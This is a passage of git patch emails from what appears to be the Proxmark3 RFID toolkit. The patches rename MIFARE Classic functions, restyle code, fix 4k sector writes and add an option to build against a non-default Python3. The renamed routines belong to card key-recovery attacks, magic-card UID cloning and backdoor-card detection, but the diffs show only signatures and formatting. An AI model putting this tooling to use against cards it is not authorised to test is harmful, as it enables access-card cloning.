uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); +int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); +int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose); -int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, +int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose, bool quiet, uint16_t singleSectorParams); -int mfCheckKeys_file(uint8_t *destfn, uint64_t *key); +int mf_check_keys_file(uint8_t *destfn, uint64_t *key); -int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey); +int mf_key_brute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey); -int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); -int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); +int mf_read_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); +int mf_read_block(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); -int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block); -int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector); +int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block); +int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector); -int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); -int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); -int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); +int mf_eml_get_mem(uint8_t *data, int blockNum, int blocksCount); +int mf_elm_set_mem(uint8_t *data, int blockNum, int blocksCount); +int mf_eml_set_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm); -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm); -int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); -int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params); +int mf_chinese_set_uid(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm); +int mf_chinese_wipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm); +int mf_chinese_set_block(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params); +int mf_chinese_get_block(uint8_t blockNo, uint8_t *data, uint8_t params); -int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid); -int mfGen3Block(uint8_t *block, int blockLen, uint8_t *newBlock); -int mfGen3Freeze(void); +int mf_chinese_gen_3_uid(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid); +int mf_chinese_gen_3_block(uint8_t *block, int blockLen, uint8_t *newBlock); +int mf_chinese_gen_3_freeze(void); -int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len); +int try_decrypt_word(uint32_t nt, uint32_t ar_enc, uint32_t at_enc, uint8_t *data, int len); int detect_classic_prng(void); int detect_classic_nackbug(bool verbose); diff --git a/client/src/scripting.c b/client/src/scripting.c index 9b1542d54..0657ae8d6 100644 --- a/client/src/scripting.c +++ b/client/src/scripting.c @@ -423,7 +423,7 @@ static int l_mfDarkside(lua_State *L) { break; } - int retval = mfDarkside(blockno & 0xFF, keytype & 0xFF, &key); + int retval = mf_dark_side(blockno & 0xFF, keytype & 0xFF, &key); uint8_t dest_key[8]; num_to_bytes(key, sizeof(dest_key), dest_key); From 11becb8e20d6f53d14a0650481f075f82384d371 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Wed, 13 Nov 2024 11:13:15 +1100 Subject: [PATCH 128/155] make style --- client/src/cmdhfmf.c | 62 +++++++++++++++++----------------- client/src/mifare/mifarehost.c | 16 ++++----- client/src/mifare/mifarehost.h | 8 ++--- 3 files changed, 43 insertions(+), 43 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index c5c5f3938..c9bef038b 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -250,9 +250,9 @@ bool mfc_value(const uint8_t *d, int32_t *val) { uint32_t b = MemLeToUint4byte(d + 8); int val_checks = ( - (a == b) && (a == ~a_inv) && - (d[12] == (~d[13] & 0xFF)) && - (d[14] == (~d[15] & 0xFF)) + (a == b) && (a == ~a_inv) && + (d[12] == (~d[13] & 0xFF)) && + (d[14] == (~d[15] & 0xFF)) ); if (val) { @@ -1602,7 +1602,7 @@ static int CmdHF14AMfRestore(const char *Cmd) { PrintAndLogEx(INFO, " %3d | %s| ( " _RED_("fail") " ) key " _YELLOW_("%c"), blockno, sprint_hex(bldata, sizeof(bldata)), - (kt == MF_KEY_A) ? 'A' : 'B' + (kt == MF_KEY_A) ? 'A' : 'B' ); } // end loop key types } // end loop B @@ -2963,7 +2963,7 @@ noValidKeyFound: PrintAndLogEx(INFO, "======================= " _YELLOW_("START READ B KEY ATTACK") " ======================="); PrintAndLogEx(INFO, "reading B key of sector %3d with key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } uint8_t sectrail = (mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1); @@ -2995,7 +2995,7 @@ noValidKeyFound: if (verbose) { PrintAndLogEx(WARNING, "unknown B key: sector: %3d key type: %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A' + (current_key_type_i == MF_KEY_B) ? 'B' : 'A' ); PrintAndLogEx(INFO, " -- reading the B key was not possible, maybe due to access rights?"); @@ -3018,7 +3018,7 @@ skipReadBKey: PrintAndLogEx(INFO, "======================= " _YELLOW_("START NESTED ATTACK") " ======================="); PrintAndLogEx(INFO, "sector no %3d, target key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } tryNested: isOK = mf_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); @@ -3144,7 +3144,7 @@ tryStaticnested: PrintAndLogEx(INFO, "======================= " _YELLOW_("START STATIC NESTED ATTACK") " ======================="); PrintAndLogEx(INFO, "sector no %3d, target key type %c", current_sector_i, - (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); + (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } isOK = mf_static_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); @@ -4424,7 +4424,7 @@ void printKeyTableEx(size_t sectorscnt, sector_t *e_sector, uint8_t start_sector _YELLOW_("H") ":Hardnested / " _YELLOW_("C") ":statiCnested / " _YELLOW_("A") ":keyA " - " )" + " )" ); if (sectorscnt == 18) { PrintAndLogEx(INFO, "( " _MAGENTA_("*") " ) These sectors used for signature. Lays outside of user memory"); @@ -5032,7 +5032,7 @@ static int CmdHF14AMfECFill(const char *Cmd) { t1 = msclock() - t1; if (resp.status == PM3_SUCCESS) - PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%" PRIu64 ) " ms", t1); + PrintAndLogEx(SUCCESS, "Fill ( " _GREEN_("ok") " ) in " _YELLOW_("%" PRIu64) " ms", t1); else PrintAndLogEx(FAILED, "Fill ( " _RED_("fail") " )"); @@ -5212,7 +5212,7 @@ static int CmdHF14AMfCSetUID(const char *Cmd) { PrintAndLogEx(SUCCESS, "Old UID... %s", sprint_hex(old_uid, uidlen)); PrintAndLogEx(SUCCESS, "New UID... %s ( %s )", sprint_hex(verify_uid, uidlen), - (res == 0) ? _GREEN_("verified") : _RED_("fail") + (res == 0) ? _GREEN_("verified") : _RED_("fail") ); return PM3_SUCCESS; } @@ -6603,10 +6603,10 @@ int CmdHFMFNDEFFormat(const char *Cmd) { "If not, it will try finding a key file based on your UID. ie, if you ran autopwn before", "hf mf ndefformat\n" // "hf mf ndefformat --mini --> MIFARE Mini\n" - "hf mf ndefformat --1k --> MIFARE Classic 1k\n" + "hf mf ndefformat --1k --> MIFARE Classic 1k\n" // "hf mf ndefformat --2k --> MIFARE 2k\n" // "hf mf ndefformat --4k --> MIFARE 4k\n" - "hf mf ndefformat --keys hf-mf-01020304-key.bin --> MIFARE 1k with keys from specified file\n" + "hf mf ndefformat --keys hf-mf-01020304-key.bin --> MIFARE 1k with keys from specified file\n" ); void *argtable[] = { @@ -7017,7 +7017,7 @@ int CmdHFMFNDEFWrite(const char *Cmd) { if (mf_write_block(block_no, MF_KEY_B, g_mifare_default_key, block) != PM3_SUCCESS) { // try A key, - + if (mf_write_block(block_no, MF_KEY_A, g_mifare_ndef_key, block) != PM3_SUCCESS) { return PM3_EFAILED; } @@ -9258,7 +9258,7 @@ static int CmdHF14AMfValue(const char *Cmd) { // don't want to write value data and break something if ((blockno == 0) || (mfIsSectorTrailer(blockno)) || - (trnval == 0) || + (trnval == 0) || (trnval != -1 && mfIsSectorTrailer(trnval))) { PrintAndLogEx(WARNING, "invalid block number, should be a data block"); return PM3_EINVARG; @@ -9695,47 +9695,47 @@ static int CmdHF14AMfInfo(const char *Cmd) { // backdoor might be present, or just a clone reusing Fudan MF data... PrintAndLogEx(SUCCESS, "Fudan based card"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 - && blockdata[15] == 0x90) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 + && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S-7B"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && blockdata[15] == 0x98) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && blockdata[15] == 0x98) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S **98"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k32, sizeof(fkey)) == 0 - && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { + && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { + && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32 (SAK=20)"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && ( + && card.sak == 0x28 && ( (memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) || (memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0))) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { + && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5003"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5004"); } else if (fKeyType == MF_KEY_BD) { PrintAndLogEx(SUCCESS, _RED_("Unknown card with backdoor, please report details!")); @@ -10036,7 +10036,7 @@ static int CmdHF14AMfISEN(const char *Cmd) { free(dump); } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time: " _YELLOW_("%" PRIu64 ) " ms", t1); + PrintAndLogEx(SUCCESS, "time: " _YELLOW_("%" PRIu64) " ms", t1); if (fnlen == 0) { snprintf(filename, sizeof(filename), "hf-mf-%s-nonces%s", sprint_hex_inrow(card.uid, card.uidlen), collect_fm11rf08s_with_data ? "_with_data" : ""); diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index c035361df..df605614d 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -250,8 +250,8 @@ int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t ke // 1 == // 2 == Time-out, aborting int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, - bool verbose, bool quiet, uint16_t singleSectorParams) { + uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, + bool verbose, bool quiet, uint16_t singleSectorParams) { uint64_t t2 = msclock(); @@ -358,7 +358,7 @@ int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastCh } int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose) { + uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose) { return mf_check_keys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock, e_sector, use_flashmemory, verbose, false, 0); } @@ -1014,12 +1014,12 @@ int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t return res; } -int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ +int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector) { int res; - for (int i=0;i<4; i++){ - res = mf_write_block((sectorNo*4)+i, keyType, key, sector+(i*MFBLOCK_SIZE)); - if (res != PM3_SUCCESS){ - return (i==0)?PM3_EFAILED:PM3_EPARTIAL; + for (int i = 0; i < 4; i++) { + res = mf_write_block((sectorNo * 4) + i, keyType, key, sector + (i * MFBLOCK_SIZE)); + if (res != PM3_SUCCESS) { + return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; } } return PM3_SUCCESS; diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index 5eed65625..6dc12da52 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -75,11 +75,11 @@ int mf_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo int mf_static_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey); int mf_check_keys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, - uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, - bool use_flashmemory, bool verbose); + uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, + bool use_flashmemory, bool verbose); int mf_check_keys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, - bool verbose, bool quiet, uint16_t singleSectorParams); + uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, + bool verbose, bool quiet, uint16_t singleSectorParams); int mf_check_keys_file(uint8_t *destfn, uint64_t *key); From 39c846ada4832a874a1744bc45851b385857f6cb Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 14 Nov 2024 01:44:27 +0100 Subject: [PATCH 129/155] Limit pyexception code to Python >= 3.10 --- client/src/cmdscript.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/src/cmdscript.c b/client/src/cmdscript.c index d25063b33..cc1d4000a 100644 --- a/client/src/cmdscript.c +++ b/client/src/cmdscript.c @@ -532,6 +532,7 @@ static int CmdScriptRun(const char *Cmd) { return PM3_SUCCESS; } +#if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION >= 10 pyexception: PyConfig_Clear(&py_conf); if (PyStatus_IsExit(status)) { @@ -541,6 +542,7 @@ pyexception: PrintAndLogEx(WARNING, "\nPython initialization failed with exception: %s", status.err_msg); } return PM3_ESOFT; +#endif } #endif From 579ea6feb2ed4a65d0c9a957c484d0de3a448695 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Thu, 14 Nov 2024 13:21:51 +1100 Subject: [PATCH 130/155] Patch mf_write_sector 4k support --- client/src/mifare/mifarehost.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index df605614d..7048173b4 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -1016,8 +1016,8 @@ int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector) { int res; - for (int i = 0; i < 4; i++) { - res = mf_write_block((sectorNo * 4) + i, keyType, key, sector + (i * MFBLOCK_SIZE)); + for (int i = 0; i < mfNumBlocksPerSector(sectorNo); i++) { + res = mf_write_block((mfFirstBlockOfSector(sectorNo)) + i, keyType, key, sector + (i * MFBLOCK_SIZE)); if (res != PM3_SUCCESS) { return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; } From f3e9a79ca4af03fe3cd2a9afb3db3878d9fad1ec Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Wed, 13 Nov 2024 22:31:48 +0200 Subject: [PATCH 131/155] add option to build against non-default python3 package --- CHANGELOG.md | 1 + Makefile.defs | 2 +- client/Makefile | 10 +++++----- doc/md/Use_of_Proxmark/0_Compilation-Instructions.md | 10 ++++++++++ docker/opensuse-leap/Dockerfile | 6 +++--- 5 files changed, 20 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7d60deab8..78a3c7ab9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added option to build against non-default python3 (@ANTodorov) - Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001) - Changed `hf iclass configcard` expanding the list of available options and functionalities (@antiklesys) - Fixed `intertic.py` - missing comma in array (@iceman1001) diff --git a/Makefile.defs b/Makefile.defs index 1ef2aa09d..2496057fa 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -53,7 +53,7 @@ USERMOD = usermod -aG ADDUSER = adduser GETENT_BL = getent group bluetooth - +PYTHON3_PKGCONFIG ?= python3 PATHSEP=/ PREFIX ?= /usr/local diff --git a/client/Makefile b/client/Makefile index 71f4220ed..f7a59ed3f 100644 --- a/client/Makefile +++ b/client/Makefile @@ -282,15 +282,15 @@ endif ## Python3 (optional) ifneq ($(SKIPPYTHON),1) # since python3.8, applications willing to embed python must use -embed: - PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags python3-embed 2>/dev/null) - PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs python3-embed 2>/dev/null) + PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags $(PYTHON3_PKGCONFIG)-embed 2>/dev/null) + PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs $(PYTHON3_PKGCONFIG)-embed 2>/dev/null) ifneq ($(PYTHONLDLIBS),) PYTHONLIBLD = $(PYTHONLDLIBS) PYTHONLIBINC = $(subst -I,-isystem ,$(PYTHONINCLUDES)) PYTHON_FOUND = 1 else - PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags python3 2>/dev/null) - PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs python3 2>/dev/null) + PYTHONINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags $(PYTHON3_PKGCONFIG) 2>/dev/null) + PYTHONLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs $(PYTHON3_PKGCONFIG) 2>/dev/null) ifneq ($(PYTHONLDLIBS),) PYTHONLIBLD = $(PYTHONLDLIBS) PYTHONLIBINC = $(subst -I,-isystem ,$(PYTHONINCLUDES)) @@ -531,7 +531,7 @@ ifeq ($(SKIPPYTHON),1) $(info Python3 library: skipped) else ifeq ($(PYTHON_FOUND),1) - $(info Python3 library: Python3 v$(shell $(PKG_CONFIG_ENV) pkg-config --modversion python3) found, enabled) + $(info Python3 library: Python3 v$(shell $(PKG_CONFIG_ENV) pkg-config --modversion $(PYTHON3_PKGCONFIG)) found, enabled) else $(info Python3 library: Python3 not found, disabled) endif diff --git a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md index d8dd7d5e0..b811a2072 100644 --- a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md +++ b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md @@ -10,6 +10,7 @@ - [Compile for generic Proxmark3 platforms](#compile-for-generic-proxmark3-platforms) - [Get the latest commits](#get-the-latest-commits) - [Clean and compile everything](#clean-and-compile-everything) + - [if there are different python3 packages installed](#if-there-are-different-python3-packages-installed) - [if you got an error](#if-you-got-an-error) - [Install](#install) - [Flash the BOOTROM & FULLIMAGE](#flash-the-bootrom--fullimage) @@ -56,6 +57,15 @@ git pull make clean && make -j ``` +### if there are different python3 packages installed +^[Top](#top) + +It is possible to point to a different python3 package. For example, to build against Python3.11: + +```sh +make clean && make -j PYTHON3_PKGCONFIG=python-3.11 +``` + ### if you got an error ^[Top](#top) diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index 99d608b76..f84dd22a0 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -2,14 +2,14 @@ FROM opensuse/leap ENV LANG=C # libqt5-qtbase-devel skipped -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python311-devel libopenssl-devel gd-devel RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ zypper --gpg-auto-import-keys refresh && \ zypper --non-interactive install cross-arm-none-eabi-gcc13 cross-arm-none-eabi-newlib -RUN zypper --non-interactive install cmake python3 python3-pip && \ - python3 -m pip install ansicolors sslcrypto +RUN zypper --non-interactive install cmake python311 python311-pip && \ + python3.11 -m pip install ansicolors sslcrypto RUN zypper --non-interactive install ocl-icd-devel From 8602a182bb0a961f5a263f34d1489a00f7119007 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 14 Nov 2024 09:31:49 +0100 Subject: [PATCH 132/155] Added option to build against non-default python3 with CMake as well --- CHANGELOG.md | 3 ++- client/CMakeLists.txt | 13 ++++++++----- client/experimental_lib/CMakeLists.txt | 13 ++++++++----- doc/md/Development/Makefile-vs-CMake.md | 1 + .../Use_of_Proxmark/0_Compilation-Instructions.md | 6 +++--- 5 files changed, 22 insertions(+), 14 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 78a3c7ab9..c898dd201 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Added option to build against non-default python3 (@ANTodorov) +- Added option to build against non-default python3 with CMake as well (@doegox) +- Added option to build against non-default python3 with Makefile (@ANTodorov) - Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001) - Changed `hf iclass configcard` expanding the list of available options and functionalities (@antiklesys) - Fixed `intertic.py` - missing comma in array (@iceman1001) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 766014bc9..544fe5395 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -44,6 +44,9 @@ endif() find_package(PkgConfig) +# Allow specifying a Python version via cmake option +set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suffix") + if (NOT SKIPQT EQUAL 1) if(APPLE AND EXISTS /usr/local/opt/qt5) @@ -87,8 +90,8 @@ if (NOT SKIPBT EQUAL 1) endif (NOT SKIPBT EQUAL 1) if (NOT SKIPPYTHON EQUAL 1) - pkg_search_module(PYTHON3 QUIET python3) - pkg_search_module(PYTHON3EMBED QUIET python3-embed) + pkg_search_module(PYTHON3 QUIET ${PYTHON3_PKGCONFIG}) + pkg_search_module(PYTHON3EMBED QUIET ${PYTHON3_PKGCONFIG}-embed) endif (NOT SKIPPYTHON EQUAL 1) # If cross-compiled, we need to init source and build. @@ -611,11 +614,11 @@ if (SKIPPYTHON EQUAL 1) message(STATUS "Python3 library: skipped") else (SKIPPYTHON EQUAL 1) if (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 embed found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG}-embed found, enabled") elseif (PYTHON3_FOUND) - message(STATUS "Python3 library: Python3 found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} found, enabled") else (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 not found, disabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} not found, disabled") endif (PYTHON3EMBED_FOUND) endif(SKIPPYTHON EQUAL 1) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index c3197cef4..e9ac8bb33 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -45,6 +45,9 @@ endif() find_package(PkgConfig) +# Allow specifying a Python version via cmake option +set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suffix") + if (NOT SKIPQT EQUAL 1) if(APPLE AND EXISTS 